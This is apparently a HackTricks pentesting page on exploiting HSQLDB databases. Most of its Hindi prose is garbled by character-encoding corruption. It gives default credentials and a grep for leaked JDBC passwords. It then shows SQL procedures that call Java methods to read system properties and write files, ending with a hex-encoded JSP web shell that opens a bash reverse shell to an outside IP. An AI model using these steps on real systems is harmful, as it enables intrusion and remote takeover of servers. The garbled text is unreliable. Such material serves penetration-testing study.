7.1 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
HSQLDB (HyperSQL DataBase) рдПрдХ рдкреНрд░рдореБрдЦ SQL рд░рд┐рд▓реЗрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ Java рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдПрдХ рдЫреЛрдЯрд╛, рддреЗрдЬ рдорд▓реНрдЯреАрдереНрд░реЗрдбреЗрдб рдФрд░ рдЯреНрд░рд╛рдВрдЬреИрдХреНрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдЗрдВрдЬрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЗрди-рдореЗрдореЛрд░реА рдФрд░ рдбрд┐рд╕реНрдХ-рдЖрдзрд╛рд░рд┐рдд рдЯреЗрдмрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдПрдореНрдмреЗрдбреЗрдб рдФрд░ рд╕рд░реНрд╡рд░ рдореЛрдб рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Information
Default Settings
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рд╕реЗрд╡рд╛ рд╕рдВрднрд╡рддрдГ рдореЗрдореЛрд░реА рдореЗрдВ рдЪрд▓ рд░рд╣реА рд╣реИ рдпрд╛ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рд╕реЗ рдмрдВрдзреА рд╣реБрдИ рд╣реИред рдпрджрд┐ рдЖрдкрдиреЗ рдЗрд╕реЗ рдкрд╛рдпрд╛ рд╣реИ, рддреЛ рдЖрдкрдиреЗ рд╢рд╛рдпрдж рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВред
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЖрдорддреМрд░ рдкрд░ sa
рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЦрд╛рд▓реА рд╣реЛрддрд╛ рд╣реИред
рдпрджрд┐ рдЖрдкрдиреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВред
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note the database name carefully - youтАЩll need it to connect.
Info Gathering
Connect to the DB instance by downloading HSQLDB and extracting hsqldb/lib/hsqldb.jar
. Run the GUI app eww
using java -jar hsqldb.jar
and connect to the instance using the discovered/weak credentials.
Note the connection URL will look something like this for a remote system: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
We can call static methods of a Java class from HSQLDB using Java Language Routines. Do note that the called class needs to be in the applicationтАЩs classpath.
JRTs can be functions
or procedures
. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the VALUES
statement.
If the Java method we want to call returns void, we need to use a procedure invoked with the CALL
statement.
Reading Java System Properties
Create function:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
рдХрд╛рд░реНрдпрд╡рд╛рд╣реА рдлрд╝рдВрдХреНрд╢рди:
VALUES(getsystemproperty('user.name'))
рдЖрдк рдпрд╣рд╛рдБ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рд▓рд┐рдЦреЗрдВ
рдЖрдк com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
рдЬрд╛рд╡рд╛ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ JDK рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХреНрд▓рд╛рд╕ рдкрд╛рде рдореЗрдВ рдСрдЯреЛ рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ
рдХрд╕реНрдЯрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╕реНрдХ рдкрд░ рд╣реЗрдХреНрд╕-рдХреЛрдбреЗрдб рдЖрдЗрдЯрдо рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред 1024 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдЖрдХрд╛рд░ рдиреЛрдЯ рдХрд░реЗрдВред
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдПрдБ:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдпрд╛ рд╣рдореЗрдВ Twitter ЁЯРж @hacktricks_live** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред